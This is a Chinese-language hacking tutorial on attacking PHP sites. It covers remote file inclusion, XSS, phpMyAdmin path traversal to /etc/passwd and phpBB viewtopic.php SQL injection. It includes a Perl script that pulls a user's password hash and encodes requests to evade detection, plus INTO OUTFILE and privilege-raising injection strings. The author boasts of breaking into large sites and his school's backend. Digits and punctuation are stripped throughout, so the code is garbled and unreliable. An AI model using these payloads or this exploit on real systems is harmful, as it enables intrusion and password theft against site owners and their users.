從現在的網絡安全來看
大家最關注和接觸最多的WEB頁面漏洞應該是ASP了
在這方面
小竹是專家
我沒發言權
然而在PHP方面來看
也同樣存在很嚴重的安全問題
但是這方面的文章卻不多
在這裡
就跟大家來稍微的討論一下PHP頁面的相關漏洞吧
我對目前常見的PHP漏洞做了一下總結
大致分為以下幾種:包含文件漏洞
腳本命令執行漏洞
文件洩露漏洞
SQL注入漏洞等幾種
當然
至於COOKIE欺騙等一部分通用的技術就不在這裡討論了
這些資料網上也很多
那麼
我們就一個一個來分析一下怎樣利用這些漏洞吧!
首先
我們來討論包含文件漏洞
這個漏洞應該說是PHP獨有的吧
這是由於不充分處理外部提供的惡意數據
從而導致遠程攻擊者可以利用這些漏洞以WEB進程權限在系統上執行任意命令
我們來看一個例子:假設在a
php中有這樣一句代碼:
include($include."/xxx.php");
?>
在這段代碼中
$include一般是一個已經設置好的路徑
但是我們可以通過自己構造一個路徑來達到攻擊的目的
比方說我們提交:a
php?include=
這個web是我們用做攻擊的空間
當然
b
php也就是我們用來攻擊的代碼了
我們可以在b
php中寫入類似於:passthru(
/bin/ls /etc
);的代碼
這樣
就可以執行一些有目的的攻擊了
(注:web服務器應該不能執行php代碼
不然就出問題了
相關詳情可以去看<<如何對PHP程序中的常見漏洞進行攻擊>>)
在這個漏洞方面
出狀況的很多
比方說:PayPal Store Front
HotNews
Mambo Open Source
PhpDig
YABB SE
phpBB
InvisionBoard
SOLMETRA SPAW Editor
Les Visiteurs
PhpGedView
X
Cart等等一些
接著
我們再來看一下腳本命令執行漏洞
這是由於對用戶提交的URI參數缺少充分過濾
提交包含惡意HTML代碼的數據
可導致觸發跨站腳本攻擊
可能獲得目標用戶的敏感信息
我們也舉個例子:在PHP Transparent的PHP PHP
以下版本中的index
php頁面對PHPSESSID缺少充分的過濾
我們可以通過這樣的代碼來達到攻擊的目的:
?PHPSESSID=
>在script裡面我們可以構造函數來獲得用戶的一些敏感信息
在這個漏洞方面相對要少一點
除了PHP Transparent之外還有:PHP
Nuke
phpBB
PHP Classifieds
PHPix
Ultimate PHP Board等等
再然後
我們就來看看文件洩露漏洞了
這種漏洞是由於對用戶提交參數缺少充分過濾
遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取一些敏感信息
我們拿最近發現的phpMyAdmin來做例子
在phpMyAdmin中
export
php頁面沒有對用戶提交的
what
參數進行充分過濾
遠程攻擊者提交包含多個
/
字符的數據
便可繞過WEB ROOT限制
以WEB權限查看系統上的任意文件信息
比方說打入這樣一個地址:export
php?what=
/
/
/
/
/
/etc/passwd%
就可以達到文件洩露的目的了
在這方面相對多一點
有:myPHPNuke
McNews等等
最後
我們又要回到最興奮的地方了
想想我們平時在asp頁面中用SQL注入有多麼爽
以前還要手動注入
一直到小竹悟出
SQL注入密笈
(嘿嘿)
然後再開做出NBSI以後
我們NB聯盟真是拉出一片天空
曾先後幫CSDN
大富翁論壇
中國頻道等大型網站找出漏洞
(這些廢話不多說了
有點跑題了
)
還是言規正傳
其實在asp中SQL的注入和php中的SQL注入大致相同
只不過稍微注意一下用的幾個函數就好了
將asc改成ASCII
len改成LENGTH
其他函數基本不變了
其實大家看到PHP的SQL注入
是不是都會想到PHP
NUKE和PHPBB呢?不錯
俗話說樹大招分
像動網這樣的論壇在asp界就該是漏洞這王了
這並不是說它的論壇安全太差
而是名氣太響
別人用的多了
研究的人也就多了
發現的安全漏洞也就越多了
PHPBB也是一樣的
現在很大一部分人用PHP做論壇的話
一般都是選擇了PHPBB
它的漏洞也是一直在出
從最早 phpBB
版本被人發現漏洞
到現在最近的phpBB
版本的groupcp
php
以及之前發現的search
php
profile
php
viewtopic
php等等加起來
大概也有十來個樣子吧
這也一直導致
一部分人在研究php漏洞的時候都會拿它做實驗品
所謂百練成精嘛
相信以後的PHPBB會越來越好
好了
我們還是來分析一下漏洞產生的原因吧
拿viewtopic
php頁面來說
由於在調用viewtopic
php時
直接從GET請求中獲得
topic_id
並傳遞給SQL查詢命令
而並沒有進行一些過濾的處理
攻擊者可以提交特殊的SQL字符串用於獲得MD
密碼
獲得此密碼信息可以用於自動登錄或者進行暴力破解
(我想應該不會有人想去暴力破解吧
除非有特別重要的原因)
先看一下相關源代碼:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[
topic
]) )
# {
# $topic_id = intval($HTTP_GET_VARS[
topic
]);
# }
從上面我們可以看出
如果提交的view=newest並且sid設置了值的話
執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話
建議你看了再對著這裡來看
受影響系統為:phpBB
和phpBB
)
# $sql =
SELECT p
post_id
# FROM
POSTS_TABLE
p
SESSIONS_TABLE
s
USERS_TABLE
u
# WHERE s
session_id =
$session_id
# AND u
user_id = s
session_user_id
# AND p
topic_id = $topic_id
# AND p
post_time >= u
user_lastvisit
# ORDER BY p
post_time ASC
# LIMIT
;
Rick提供了下面的這斷測試代碼:
use IO::Socket;
$remote = shift ||
localhost
;
$view_topic = shift ||
/phpBB
/viewtopic
php
;
$uid = shift ||
;
$port =
;
$dbtype =
mysql
; # mysql
or pgsql
print
Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n
;
$p =
;
for($index=
; $index<=
; $index++)
{
$socket = IO::Socket::INET
>new(PeerAddr => $remote
PeerPort => $port
Proto =>
tcp
Type => SOCK_STREAM)
or die
Couldnt connect to $remote:$port : $@\n
;
$str =
GET $view_topic
?sid=
&topic_id=
random_encode(make_dbsql())
&view=newest
HTTP/
\n\n
;
print $socket $str;
print $socket
Cookie: phpBB
mysql_sid=
\n
; # replace this for pgsql or remove it
print $socket
Host: $remote\n\n
;
while ($answer = <$socket>)
{
if ($answer =~ /location:
*\x
(\d+)/) # Matches the location: viewtopic
php?p=
#
{
$p = chr ();
}
}
close($socket);
}
print \nMD Hash for uid $uid is $p\n;
# random encode str helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=; $i {
$c = substr($str$i);
$j = rand length($str) * ;
if (int($j) % || $c eq )
{
$ret = % sprintf(%xord($c));
}
else
{
$ret = $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq mysql)
{
return union select ord(substring(user_password $index )) from phpbb_users where user_id=$uid/* ;
} elsif ($dbtype eq pgsql)
{
return ; select ascii(substring(user_password from $index for )) as post_id from phpbb_posts p phpbb_users u where uuser_id=$uid or false;
}
else
{
return ;
}
}
這段代碼我就不多做解釋了作用是獲得HASH值
看到這裡大家可能有點疑問為什麼我前面講的那些改的函數怎麼沒有用到我講出來不怕大家笑話:其實網上很多站點有些頁面的查詢語句看起來會是這樣:
displayphp?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
不要笑這是真的我還靠這個進過幾個大型網站至於哪一些不好講出來不過我們學校的網站我就是靠這個進後台的(希望學校網絡中心的看不到這篇文章^_^)把前面那函數用上吧不然你只有改人家的密碼了哦!!!
差點忘了一點在SQL注入的時候PHP與ASP有所不同mysql對sql語句的運用沒有mssql靈活因此很多在mssql上可以用的查詢語句在mysql數據庫中都不能奏效了 一般我們常見的注入語句像這樣:aaaphp?id=a into outfile passtxt或是aaaphp?id=a into outfile passtxt /*再進一步可以改成:aaaphp?id=a or = union select idnamepassword form users into outfile c:/atxt
這樣可以將數據庫數據導出為文件然後可以查看
或是這樣:mode=user_level=
這個語句一般用在修改資料時假設頁面存在漏洞的話就可以達到提升權限的做用
其它的如 OR = 或者: or =則跟asp差不多這裡不多講了在php裡面SQL注入看來還是漏洞之首啊有太多的頁面存在這個問題了
其實大家可以看出來上面那些分類歸根結底只有一個原因:提交參數沒過濾或是過濾不夠嚴謹黑客防線
From:http://tw.wingwit.com/Article/program/PHP/201311/20836.html